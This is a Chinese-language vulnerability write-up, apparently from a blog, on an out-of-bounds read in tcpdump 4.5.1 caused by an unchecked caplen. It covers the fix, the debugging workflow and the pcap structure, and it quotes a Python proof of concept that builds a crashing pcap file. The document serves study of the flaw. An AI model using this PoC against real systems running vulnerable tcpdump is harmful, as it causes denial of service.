-
漏洞描述
- tcpdump 4.5.1 越界读漏洞 , 原因在于没有检测 caplen 的长度是否小于数据包的包头.
-
漏洞影响范围
- tcpdump < 4.7.0
- 修复措施
- hex_and_ascii_print_with_offset 增加的对 caplen 合理性的检测,检测输出的长度是否大于数据包的总长度
- libpcap 增加了对 pcap_next_packet 增加了对数据包 caplen大小 的检测 , 检测是否 > 0x40000
-
实验环境
-
ubuntu16.04 x86_64
-
tcpdump version 4.5.1
-
libpcap version 1.7.4
-
-
gdb with pwndbg , peda
-
有源码,编译后带调试信息
-
-
poc
from time import sleep def crash(): command = 'tcpdump -r crash' buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00' buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'" buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00" buffer += '\x00\x00\x00\x00\x01\x03\x03\x04' with open('crash', 'w+b') as file: file.write(buffer) try: call(split(command)) print("Exploit successful! ") except: print("Error: Something has gone wrong!") def main(): print("Author: David Silveiro ") print(" tcpdump version 4.5.1 Access Violation Crash ") sleep(2) crash() if __name__ == "__main__": main()```
-
漏洞分析
-
运行后漏洞定位 , 越界读
- 1569742898375.png
-
0x40cd97 <hex_and_ascii_print_with_offset+103> movzx ebx, BYTE PTR [r12-0x1]
-
r12 - 1 刚好越界
- 1569743032344.png
-
bt 回溯 查看调用代码位置
- 1569743115095.png
-
关键参数
-
决定输出循环终止 | nshort = length / sizeof(u_short)
- length 在函数调用时传入 length=0xfffffff3
-
根据 bt 发现由 ieee802_15_4_if_print 调用 ,
- 180行 ,caplen 为 length 参数 , 由 hex_and_ascii_print 函数中转 [图片上传失败...(image-d89e5c-1570194657331)]
-
caplen 由 数据包结构体的 caplen项 转变
-
u_int ieee802_15_4_if_print(struct netdissect_options *ndo, const struct pcap_pkthdr *h, const u_char *p)
-
变化过程
-
目的 : 将 p 调整至数据包内容的开始 ,同时 caplen 减去数据包头的长度
-
h # 数据包
- 1569776934738.png
- 1569743335276.png
-
caplen = h->caplen # 0x8
-
if caplen >= 3
- caplen -= 3 # 0x5
-
caplen -= hdrlen # 0xfffffff3 # -0xd
-
p=0x8245b0 "@\377"
-
fc = EXTRACT_LE_16BITS(p);
-
hdrlen = extract_header_length(fc);
-
// hdrlen = 0x12
-
-
-
-
-
所以此处漏洞成因是没有检测 caplen 的长度大小是否小于 数据包头结构体的长度 (0x15)
-
-
参考链接
-
-
介绍 越界读 导致的 crash . 对 数据包 的长度没有严格控制,导致连续读取到一定长度后会读取到无效的内存空间,从而导致拒绝服务的发生
-
调试
-
poc 生成导致 crash 的 pcap包
-
gdb 调试 -r 参数打开 crash 数据包 , 到达崩溃位置
- run -r crash | gdb 带参运行
-
0x8001e612: movzx edi,BYTE PTR [edi+esi*2+0x1] 确定了越界读发生的位置
-
bt 回溯调用情况
-
看整个运行过程 , 和崩溃位置前的程序输出
-
-
分析
-
pcap文件包的结构 关键结构体
-
文件头
-
magic int32 # magic number 标识符
-
u_short version_majar # 主版本号
-
u_short version_minor # 次版本号
-
bpf_int32 thiszone # 时区修正
-
bpf_u_int32 sigfigs # 精确时间戳
-
bpf_u_int32 snaplen # 每个数据包保存的最大长度
-
tcpdump -s 0 就是设置这个参数 , 缺省为 68
-
linktype: # 链路层类型:32位, 数据包的链路层包头决定了链路层的类型。
-
-
数据包
-
struct timeval ts # 详细时间戳
-
bpf_u_int32 caplen # 保存的包长度
-
bpf_u_int32 len # 数据包真实长度
-
-
时间戳 timeval
-
long tv_sec # 秒数
-
suseconds_t tv_usec # 微秒
-
-
标记关注的重点 数据包的caplen
-
-
分析漏洞触发流程
- 根据bt的结果 , 从main函数开始跟进
-
看到 call 调用跟进
-
看到标志性输出,分析关键位置在附近
-
接着跟进动态调用 , 一步步知道发现有循环
-
发现循环带计数器,将 ida 反编译结果和gdb调试信息对比,分析关键逻辑
- 做出推测,并根据相应寄存器做出验证
-
注意点
-
分析部分 这里需要学习的是配合ida的调试思路,对于没有源码的调试比较有参考价值
-
看到关键逻辑推测和验证
-
注意查找关键逻辑的思路,考虑直接从搜索标识性字符串入手,或者根据 bt 的结果,看对应位置是否有函数,一步步反推
-
-
-
网友评论